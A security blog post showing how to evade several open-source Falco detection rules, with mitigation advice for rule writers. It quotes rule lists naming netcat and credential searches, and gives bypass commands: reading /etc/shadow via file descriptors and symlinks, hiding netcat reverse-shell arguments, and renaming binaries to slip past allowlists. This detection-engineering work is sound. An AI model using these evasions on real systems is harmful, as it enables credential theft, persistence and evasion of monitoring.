Intro

This post demonstrates evasion techniques for several open-source Falco rules. We’ll examine general strategies for evasion and discuss writing more resilient rules.

For those new to Falco, the description from their project page sums it up as:

… a cloud-native security tool. It provides near real-time threat detection for cloud, container, and Kubernetes workloads by leveraging runtime insights. Falco can monitor events from various sources, including the Linux kernel, and enrich them with metadata from the Kubernetes API server, container runtime, and more.

https://falco.org/docs/getting-started/

Evasion Techniques

Silly me. It turns out that symlinks and directory traversal were already well known Falco evasion techniques. I’ll include them here for completeness, but focus on other techniques I’ve been playing with the last few days.

Let’s take a look!

File descriptors

The usage of file descriptors allows sensitive files to be read without directly referencing them. By associating file descriptors with sensitive files, one can reference the descriptor or create symlinks to these descriptors rather than the files themselves. Use file descriptors to avoid fd.name matching.

root@UwUntu:~# exec 3</etc/shadow
root@UwUntu:~# ln -s /dev/fd/3 /tmp/shadow
root@UwUntu:~# cat /tmp/shadow
root:*:19790:0:99999:7:::
-- snip --
root@UwUntu:~# exec 3<&-

Escape characters

Escaping characters will break literal string matching, but won’t affect pattern matching in programs such as grep. Use escape characters to avoid matching proc.args conditions.

# rule: Search Private Keys or Passwords
- macro: private_key_or_password
  condition: >
    (proc.args icontains "BEGIN PRIVATE" or
     proc.args icontains "BEGIN OPENSSH PRIVATE" or
     proc.args icontains "BEGIN RSA PRIVATE" or
     proc.args icontains "BEGIN DSA PRIVATE" or
     proc.args icontains "BEGIN EC PRIVATE" or
     (grep_more and
      (proc.args icontains " pass " or
       proc.args icontains " ssh " or
       proc.args icontains " user "))
    )    
vivi@UwUntu:~$ sudo grep -r 'BEGIN OPENSSH\ PRIVATE KEY' ~/.ssh/
/home/vivi.linux/.ssh/id_rsa:-----BEGIN OPENSSH PRIVATE KEY-----
vivi@UwUntu:~$ sudo strace grep -r 'BEGIN OPENSSH\ PRIVATE KEY' ~/.ssh/ 2>&1 | grep exec
execve("/usr/bin/grep", ["grep", "-r", "BEGIN OPENSSH\\ PRIVATE KEY", "/home/vivi.linux/.ssh/"], 0xffffdf133358 /* 13 vars */) = 0

Redirections

Before a command is executed, its input and output may be redirected using a special notation interpreted by the shell. Redirection allows commands’ file handles to be duplicated, opened, closed, made to refer to different files, and can change the files the command reads from and writes to.

https://www.gnu.org/software/bash/manual/html_node/Redirections.html

Avoid proc.cmdline matching by using input redirections.

# rule: Launch Ingress Remote File Copy Tools in Container
- macro: curl_download
  condition: (proc.name = curl and
              (proc.cmdline contains " -o " or
              proc.cmdline contains " --output " or
              proc.cmdline contains " -O " or
              proc.cmdline contains " --remote-name "))

In the case of curl, we can omit the output flags via output direction.

vivi@UwUntu:~$ curl http://127.0.0.1/meow.sh > meow.sh

Process substitution

Process substitution allows a process’s input or output to be referred to using a filename.

https://www.gnu.org/software/bash/manual/html_node/Process-Substitution.html

Avoid proc.cmdline matching by using process substitution.

Bash process substitution creates a temporary file containing the arguments to be passed to a process. As the process accepts the arguments in the form of a reference to a file, rules that rely on matching command line arguments won’t work.

Let’s look at an example where attacker can use bash process substitution to avoid passing arguments directly to netcat.

# rule: Netcat Remote Code Execution in Container
--snip--
(proc.name = "nc" and (proc.cmdline contains " -e" or 
                                proc.cmdline contains " -c")) or
--snip--
# Create a file containing the arguments
vivi@UwUntu:~$ echo "nc -nv 127.0.0.1 8000 -e /bin/bash" > /tmp/args.txt
vivi@UwUntu:~$ nc < <(cat /tmp/args.txt)
# Arguments passed on the cmdline
vivi@UwUntu:~$ sudo strace nc 127.0.0.1 8000 -e /bin/bash 2>&1 | grep exec
execve("/usr/bin/nc", ["nv", "127.0.0.1", "-e", "/bin/bash"], 0xffffca460770 /* 13 vars */) = 0
# Arguments passed as a file descriptor
sudo strace nc < <(cat args.txt) 2>&1 | grep exec
execve("/usr/bin/nc", ["nc"], 0xffffcdd9c010 /* 13 vars */) = 0

Masquerading

Renaming a binary prevents rules from matching proc.name conditions. Simply renaming netcat to meowcat will break detections that rely on literal string matching.

# Launch Suspicious Network Tool in Container
- list: network_tool_binaries
  items: [nc, ncat, netcat, nmap, dig, tcpdump, tshark, ngrep, telnet, mitmproxy, socat, zmap]

- macro: network_tool_procs
  condition: (proc.name in (network_tool_binaries))

--snip--

vivi@UwUntu:~# cp /usr/bin/netcat /tmp/meowcat
vivi@UwUntu:~# meowcat 127.0.0.1 8000

If we use a symlink we can avoid filename and filepath matching.

vivi@UwUntu:~$ ln -s /dev/shm /tmp/shm_link
vivi@UwUntu:~$ /tmp/shm_link/payload.bin
Hello from payload

Directory traversal

Directory traversal is a method used to access files in different directories by using relative paths. The post shows how creating symlinks to directories like /tmp and using relative path traversal can bypass rules looking for direct access to sensitive files like /etc/shadow.

vivi@UwUntu:~$ cat ../../../../../../etc/shadow
vivi@UwUntu:~$ ln -s /home/vivi.linux /tmp/home
vivi@UwUntu:~$ cat /tmp/home/../../etc/shadow
vivi@UwUntu:~$ ln -s ../../../..// /tmp/root
vivi@UwUntu:~$ cat /tmp/root/etc/shadow

Evading Production Rules

https://github.com/falcosecurity/rules/blob/main/rules/falco_rules.yaml

- list: sensitive_file_names
  items: [/etc/shadow, /etc/sudoers, /etc/pam.conf, /etc/security/pwquality.conf]

- list: sensitive_directory_names
  items: [/, /etc, /etc/, /root, /root/]

- rule: Create Symlink Over Sensitive Files
  desc: > 
    Detect symlinks created over a curated list of sensitive files or subdirectories under /etc/ or 
    root directories. Can be customized as needed. Refer to further and equivalent guidance within the 
    rule "Read sensitive file untrusted".
  condition: >
    create_symlink 
    and (evt.arg.target in (sensitive_file_names) or evt.arg.target in (sensitive_directory_names))    
  output: Symlinks created over sensitive files (target=%evt.arg.target linkpath=%evt.arg.linkpath evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
  priority: WARNING
  tags: [maturity_stable, host, container, filesystem, mitre_credential_access, T1555]

Bypass

The evt.arg.target in statements do not evaluate relative paths.

vivi@UwUntu:~$ ln -s /home/vivi.linux /tmp/home
vivi@UwUntu:~$ sudo cat /tmp/home/../../etc/shadow

Apr 20 20:56:30 lima-falco-quickstart falco[6385]: 20:56:30.460967615: Warning Read monitored file via directory traversal (file=/etc/shadow fileraw=/tmp/home/../../etc/shadow gparent=sudo ggparent=bash gggparent=sshd evt_type=openat user=root user_uid=0 user_loginuid=501 process=cat proc_exepath=/usr/bin/cat parent=sudo command=cat /tmp/home/../../etc/shadow terminal=34821 container_id=host container_name=host)

Oops! This still triggers a different rule, Directory traversal monitored file read.

Directory traversal monitored file read

- rule: Directory traversal monitored file read
  desc: >
    Web applications can be vulnerable to directory traversal attacks that allow accessing files outside of the web app's root directory 
    (e.g. Arbitrary File Read bugs). System directories like /etc are typically accessed via absolute paths. Access patterns outside of this 
    (here path traversal) can be regarded as suspicious. This rule includes failed file open attempts.    
  condition: > 
    (open_read or open_file_failed) 
    and (etc_dir or user_ssh_directory or 
         fd.name startswith /root/.ssh or 
         fd.name contains "id_rsa") 
    and directory_traversal 
    and not proc.pname in (shell_binaries)
  enabled: true
  output: Read monitored file via directory traversal (file=%fd.name fileraw=%fd.nameraw gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4] evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
  priority: WARNING
  tags: [maturity_stable, host, container, filesystem, mitre_credential_access, T1555]

We get past this creating a symlink to a relative directory.

vivi@UwUntu:~$ ln -s ../../../..// /tmp/root
vivi@UwUntu:~$ sudo cat /tmp/root/etc/shadow
vivi@UwUntu:~$ 
vivi@UwUntu:~$ sudo strace ln -s /etc/shadow /tmp/shadow 2>&1 | grep exec
execve("/usr/bin/ln", ["ln", "-s", "/etc/shadow", "/tmp/shadow"], 0xffffd235ab18 /* 13 vars */) = 0
vivi@UwUntu:~$ sudo strace ln -s ../../../etc/shadow /tmp/shadow 2>&1 | grep exec
execve("/usr/bin/ln", ["ln", "-s", "../../../etc/shadow", "/tmp/shadow"], 0xfffff3c53338 /* 13 vars */) = 0

Read sensitive file trusted after startup

- list: sensitive_file_names
  items: [/etc/shadow, /etc/sudoers, /etc/pam.conf, /etc/security/pwquality.conf]

- list: sensitive_directory_names
  items: [/, /etc, /etc/, /root, /root/]

- macro: sensitive_files
  condition: >
    ((fd.name startswith /etc and fd.name in (sensitive_file_names)) or
      fd.directory in (/etc/sudoers.d, /etc/pam.d))    

- rule: Read sensitive file trusted after startup
  desc: >
    An attempt to read any sensitive file (e.g. files containing user/password/authentication
    information) by a trusted program after startup. Trusted programs might read these files
    at startup to load initial state, but not afterwards. Can be customized as needed.
    In modern containerized cloud infrastructures, accessing traditional Linux sensitive files 
    might be less relevant, yet it remains valuable for baseline detections. While we provide additional 
    rules for SSH or cloud vendor-specific credentials, you can significantly enhance your security 
    program by crafting custom rules for critical application credentials unique to your environment.    
  condition: > 
    open_read 
    and sensitive_files 
    and server_procs 
    and not proc_is_new 
    and proc.name!="sshd" 
    and not user_known_read_sensitive_files_activities
  output: Sensitive file opened for reading by trusted program after startup (file=%fd.name pcmdline=%proc.pcmdline gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4] evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
  priority: WARNING
  tags: [maturity_stable, host, container, filesystem, mitre_credential_access, T1555]

Bypass

We can use a file descriptor to avoid matching the sensitive_files macro.

root@UwUntu:~# exec 3</etc/shadow
root@UwUntu:~# ln -s /dev/fd/3 /tmp/shadow
root@UwUntu:~# cat /tmp/shadow
root:*:19790:0:99999:7:::
-- snip --
root@UwUntu:~# exec 3<&-

Netcat Remote Code Execution in Container

- rule: Netcat Remote Code Execution in Container
  desc: > 
    Netcat Program runs inside container that allows remote code execution and may be utilized 
    as a part of a variety of reverse shell payload https://github.com/swisskyrepo/PayloadsAllTheThings/.
    These programs are of higher relevance as they are commonly installed on UNIX-like operating systems.
    Can fire in combination with the "Redirect STDOUT/STDIN to Network Connection in Container" 
    rule as it utilizes a different evt.type.
  condition: >
    spawned_process 
    and container 
    and ((proc.name = "nc" and (proc.cmdline contains " -e" or 
                                proc.cmdline contains " -c")) or
         (proc.name = "ncat" and (proc.args contains "--sh-exec" or 
                                  proc.args contains "--exec" or proc.args contains "-e " or
                                  proc.args contains "-c " or proc.args contains "--lua-exec"))
         )    
  output: Netcat runs inside container that allows remote code execution (evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
  priority: WARNING
  tags: [maturity_stable, container, network, process, mitre_execution, T1059]

Bypass

The proc.cmdline contains statements are insufficient to detect process arguments. We can use process direction to avoid matching this rule.

vivi@UwUntu:~$ echo "nc -nv 127.0.0.1 8000 -e /bin/bash" > /tmp/args.txt
vivi@UwUntu:~$ nc < <(cat /tmp/args.txt)

Search Private Keys or Passwords

- macro: private_key_or_password
  condition: >
    (proc.args icontains "BEGIN PRIVATE" or
     proc.args icontains "BEGIN OPENSSH PRIVATE" or
     proc.args icontains "BEGIN RSA PRIVATE" or
     proc.args icontains "BEGIN DSA PRIVATE" or
     proc.args icontains "BEGIN EC PRIVATE" or
     (grep_more and
      (proc.args icontains " pass " or
       proc.args icontains " ssh " or
       proc.args icontains " user "))
    )    

- rule: Search Private Keys or Passwords
  desc: >
    Detect attempts to search for private keys or passwords using the grep or find command. This is often seen with 
    unsophisticated attackers, as there are many ways to access files using bash built-ins that could go unnoticed. 
    Regardless, this serves as a solid baseline detection that can be tailored to cover these gaps while maintaining 
    an acceptable noise level.    
  condition: >
    spawned_process 
    and ((grep_commands and private_key_or_password) or
         (proc.name = "find" and (proc.args contains "id_rsa" or 
                                  proc.args contains "id_dsa" or 
                                  proc.args contains "id_ed25519" or 
                                  proc.args contains "id_ecdsa"
          )
        ))    
  output: Grep private keys or passwords activities found (evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
  priority:
    WARNING
  tags: [maturity_stable, host, container, process, filesystem, mitre_credential_access, T1552.001]

Bypass

We can evade proc.args icontains via escape characters:

grep -r 'BEGIN OPENSSH\ PRIVATE KEY' ~/.ssh/

or by loading a pattern from a file:

grep -rf pattern.txt ~/.ssh/

Find AWS Credentials

- macro: private_aws_credentials
  condition: >
    (proc.args icontains "aws_access_key_id" or
    proc.args icontains "aws_secret_access_key" or
    proc.args icontains "aws_session_token" or
    proc.args icontains "accesskeyid" or
    proc.args icontains "secretaccesskey")    

- rule: Find AWS Credentials
  desc: >
    Detect attempts to search for private keys or passwords using the grep or find command, particularly targeting standard 
    AWS credential locations. This is often seen with unsophisticated attackers, as there are many ways to access files 
    using bash built-ins that could go unnoticed. Regardless, this serves as a solid baseline detection that can be tailored 
    to cover these gaps while maintaining an acceptable noise level. This rule complements the rule "Search Private Keys or Passwords".    
  condition: >
    spawned_process 
    and ((grep_commands and private_aws_credentials) or
         (proc.name = "find" and proc.args endswith ".aws/credentials"))    
  output: Detected AWS credentials search activity (proc_pcmdline=%proc.pcmdline proc_cwd=%proc.cwd group_gid=%group.gid group_name=%group.name user_loginname=%user.loginname evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
  priority: WARNING
  tags: [maturity_stable, host, container, process, aws, mitre_credential_access, T1552]

Bypass

We can evade proc.args icontains via escape characters:

grep -r '\accesskeyid' ~/

or by loading a pattern from a file:

grep -rf pattern.txt ~/

Evading Incubating Rules

https://github.com/falcosecurity/rules/blob/main/rules/falco-incubating_rules.yaml

Launch Ingress Remote File Copy Tools in Container

- list: ingress_remote_file_copy_binaries
  items: [wget]

- macro: ingress_remote_file_copy_procs
  condition: (proc.name in (ingress_remote_file_copy_binaries))

# Users should overwrite this macro to specify conditions under which a
# Custom condition for use of ingress remote file copy tool in container
- macro: user_known_ingress_remote_file_copy_activities
  condition: (never_true)

- macro: curl_download
  condition: (proc.name = curl and
              (proc.cmdline contains " -o " or
              proc.cmdline contains " --output " or
              proc.cmdline contains " -O " or
              proc.cmdline contains " --remote-name "))

- rule: Launch Ingress Remote File Copy Tools in Container
  desc: > 
    Detect ingress remote file copy tools (such as curl or wget) launched inside containers. This rule can be 
    considered a valuable auditing tool, but it has the potential to generate notable noise and requires careful 
    profiling before full operationalization.
  condition: >
    spawned_process 
    and container 
    and (ingress_remote_file_copy_procs or curl_download) 
    and not user_known_ingress_remote_file_copy_activities    
  output: Ingress remote file copy tool launched in container (evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
  priority: NOTICE
  tags: [maturity_incubating, container, network, process, mitre_command_and_control, TA0011]```

Bypass

The curl_download macro has insufficient cmdline argument matching. An attacker could use spicy shell commands to avoid triggering this rule, such as:

  1. Redirection

    curl http://127.0.0.1/meow.sh > meow.sh

    cat <(curl http://127.0.0.1/meow.sh) > meow.sh

  2. Pipe

    curl http://127.0.0.1/meow.sh | tee meow.sh

  3. Variable

    content=$(curl -s http://127.0.0.1/meow.sh); echo "$content" > meow.sh

    echo "$(curl http://127.0.0.1/meow.sh)" > meow.sh

Read environment variable from /proc files

- list: known_binaries_to_read_environment_variables_from_proc_files
  items: [scsi_id, argoexec]

- rule: Read environment variable from /proc files
  desc: > 
    An attempt to read process environment variables from /proc files. The consequences are akin to accessing traditional 
    sensitive files, as sensitive data, including secrets, might be stored in environment variables. Understanding your 
    environment, such as identifying critical namespaces, and incorporating extra filtering statements to alert exclusively 
    for those, can enhance the rule's effectiveness.
  condition: >
    open_read 
    and container 
    and (fd.name glob /proc/*/environ)
    and not proc.name in (known_binaries_to_read_environment_variables_from_proc_files)    
  output: Environment variables were retrieved from /proc files (file=%fd.name gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4] evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
  priority: WARNING
  tags: [maturity_incubating, container, filesystem, process, mitre_discovery, T1083]

Bypass

Abuse proc.name matching by renaming the binary to an allowlisted process, such as argoexec. Since the rule doesn’t check the filepath of argoexec it can be placed anywhere on the system.

vivi@UwUntu:~$ cp /usr/bin/cat /tmp/argoexec
vivi@UwUntu:~$ strace /tmp/argoexec /proc/3852/environ 2>&1 | grep exec
execve("/tmp/argoexec", ["/tmp/argoexec", "/proc/3852/environ"], 0xffffce84ced8 /* 24 vars */) = 0

Modify Shell Configuration File

- rule: Modify Shell Configuration File
  desc: > 
    Detect attempts to modify shell configuration files, primarily aimed at establishing persistence by automatically inserting 
    commands into scripts executed by shells. The upstream rule excludes shell processes because they often create unnecessary noise.
    However, this might lead to missed detections. To customize the rule for your situation, you can fine-tune it using enhanced profiling. 
    For example, you might want to only consider interactive shell processes (where proc.tty != 0).
  condition: >
    open_write 
    and (fd.filename in (shell_config_filenames) or
         fd.name in (shell_config_files) or
         fd.directory in (shell_config_directories))
    and not proc.name in (shell_binaries)
    and not exe_running_docker_save
    and not user_known_shell_config_modifiers    
  output: A shell configuration file has been modified (file=%fd.name pcmdline=%proc.pcmdline evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
  priority:
    WARNING
  tags: [maturity_incubating, host, container, filesystem, mitre_persistence, T1546.004]

Bypass

Use a symlink or a file descriptor.

vivi@UwUntu:~$ ln -s /home/vivi.linux/.bashrc /tmp/bashrc
vivi@UwUntu:~$ vim /tmp/bashrc

Schedule Cron Jobs

- macro: user_known_cron_jobs
  condition: (never_true)

- rule: Schedule Cron Jobs
  desc: >
    Detect scheduled cron jobs; this is a highly generic detection and certainly needs adjustments and profiling in your environment before 
    operationalization. Simultaneously, exploiting the functionality of cron jobs is among one of the oldest TTPs used by adversaries.    
  condition: >
    ((open_write and fd.name startswith /etc/cron) or
     (spawned_process and proc.name = "crontab")) 
    and not user_known_cron_jobs    
  output: Cron jobs were scheduled to run (file=%fd.name evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
  priority:
    NOTICE
  tags: [maturity_incubating, host, container, filesystem, mitre_execution, T1053.003]

Bypass

Use a symlink or a file descriptor.

root@UwUntu:~$ exec 3</etc/crontab
root@UwUntu:~$ vim /dev/fd/3
root@UwUntu:~$ exec 3<&-

Launch Remote File Copy Tools in Container

- list: remote_file_copy_binaries
  items: [rsync, scp, sftp, dcp]

- macro: remote_file_copy_procs
  condition: (proc.name in (remote_file_copy_binaries))

# Users should overwrite this macro to specify conditions under which a
# Custom condition for use of remote file copy tool in container
- macro: user_known_remote_file_copy_activities
  condition: (never_true)

- rule: Launch Remote File Copy Tools in Container
  desc: > 
    Detect remote file copy tools (like rsync, scp, sftp, dcp) launched within a container, potentially indicating data 
    exfiltration. Suggest refining this rule to accommodate legitimate use cases.
  condition: >
    spawned_process
    and container
    and remote_file_copy_procs
    and not user_known_remote_file_copy_activities    
  output: Remote file copy tool launched in container (evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
  priority: NOTICE
  tags: [maturity_incubating, container, network, process, mitre_exfiltration, T1020]

Bypass

Rename the binaries before staging.

vivi@UwUntu:~# meowsync ...

Launch Suspicious Network Tool in Container

- rule: Launch Suspicious Network Tool in Container
  desc: >
    Detect network tools (like netcat, nmap, tcpdump, socat, and more) launched within containers without any additional filters. 
    This serves as a valuable general detection, but it's recommended to invest engineering effort to fine-tune it and prevent a 
    high volume of legitimate logs. This rule complements the more specific "Netcat Remote Code Execution in Container" rule.    
  condition: >
    spawned_process 
    and container 
    and network_tool_procs 
    and not user_known_network_tool_activities    
  output: Network tool launched in container (evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
  priority: NOTICE
  tags: [maturity_incubating, container, network, process, mitre_execution, T1059]

Bypass

Rename the binaries before staging.

vivi@UwUntu:~# meowcat 127.0.0.1 8000

Adding ssh keys to authorized_keys

- rule: Adding ssh keys to authorized_keys
  desc: >
    After gaining access, attackers can modify the authorized_keys file to maintain persistence on a victim host.
    Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve 
    privilege escalation on the target virtual machine if they add a key to a higher-privileged user.
    This rules aims at detecting any modification to the authorized_keys file, that is usually located under the .ssh
    directory in any user's home directory. This rule complements the more generic auditing rule "Read ssh information"
    by specifically detecting the writing of new, potentially attacker-provided keys.    
  condition: >
    open_write
    and (user_ssh_directory or fd.name startswith /root/.ssh)
    and fd.name endswith authorized_keys
    and not proc.name in (ssh_binaries)    
  output: Adding ssh keys to authorized_keys (file=%fd.name evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty)
  priority: WARNING
  tags: [maturity_incubating, host, filesystem, mitre_persistence, T1098.004]

Bypass

Use a symlink or a file descriptor.

vivi@UwUntu:~$ exec 3</root/.ssh/authorized_keys
vivi@UwUntu:~$ vim /dev/fd/3
vivi@UwUntu:~$ exec 3<&-

Oops! This will still trigger a different alert Read ssh information!

Apr 21 10:40:13 lima-falco-quickstart falco[1426]: 10:40:13.766854799: Error ssh-related file/directory read by non-ssh program (file=/root/.ssh pcmdline=bash evt_type=openat user=root user_uid=0 user_loginuid=501 process=vim proc_exepath=/usr/bin/vim.basic parent=bash command=vim /dev/fd/3 terminal=34821 container_id=host container_name=host)

Read ssh information

- list: ssh_binaries
  items: [
    sshd, sftp-server, ssh-agent,
    ssh, scp, sftp,
    ssh-keygen, ssh-keysign, ssh-keyscan, ssh-add
    ]

- rule: Read ssh information
  desc: > 
    This rule identifies attempts to read files within ssh directories using programs that are not related to ssh. It's a simple and 
    versatile detection method that works well alongside more specific rules focused on sensitive file access. You have a couple of 
    options for using this rule effectively: you can adjust the specialized rules to cover all the important scenarios and ensure 
    precedence in rule smatching for those, or you can analyze the combined view of ssh-related file access across various rules on 
    your downstream computing platform. Just like with other rules, you can narrow down monitoring to specific processes, or you can 
    limit it to interactive access only.
  condition: >
    (open_read or open_directory) 
     and (user_ssh_directory or fd.name startswith /root/.ssh)
     and not user_known_read_ssh_information_activities 
     and not proc.name in (ssh_binaries)    
  output: ssh-related file/directory read by non-ssh program (file=%fd.name pcmdline=%proc.pcmdline evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
  priority: ERROR
  tags: [maturity_incubating, host, container, filesystem, mitre_collection, T1005]

Bypass

We can evade this with a combination of renamed binaries and file access via file descriptor.

root@UwUntu:~$ cp `which bash` /tmp/ssh
root@UwUntu:~$ /tmp/ssh
root@UwUntu:~$ cp `which vim` /tmp/scp
root@UwUntu:~$ exec 3</root/.ssh/authorized_keys
root@UwUntu:~$ /tmp/scp /dev/fd/3
root@UwUntu:~$ exec 3<&-

Mitigation

Avoid matching user controlled signals.

Rules that match on kernel controlled signals are more resilient than those that match user controlled signals. User controlled signals should be considered weak signals that are easily manipulated by an attacker.

For example, proc.name is a weak signal because an unprivileged user can arbitrarily name programs to perform process masquerading. Instead, consider matching on the file path via fd.name which includes the absolute path of the binary. In the case of the Read ssh information rule, the ssh_binaries macro should contain a list of absolute paths of trusted ssh binaries, and the rule should be adjusted to exclude matching file descriptors.

Unfortunately, in the case of relative paths, symlinks, and file descriptors, there isn’t much that can be done to avoid these evasion techniques. Falco needs to make changes to their agents to resolve these.

Summary

In this second part of our series on Falco evasion strategies, we examined several bypass techniques and applied them successfully to Falco rules.

Hopefully this has provided a deeper understanding of the complexity inherent in threat detection engineering.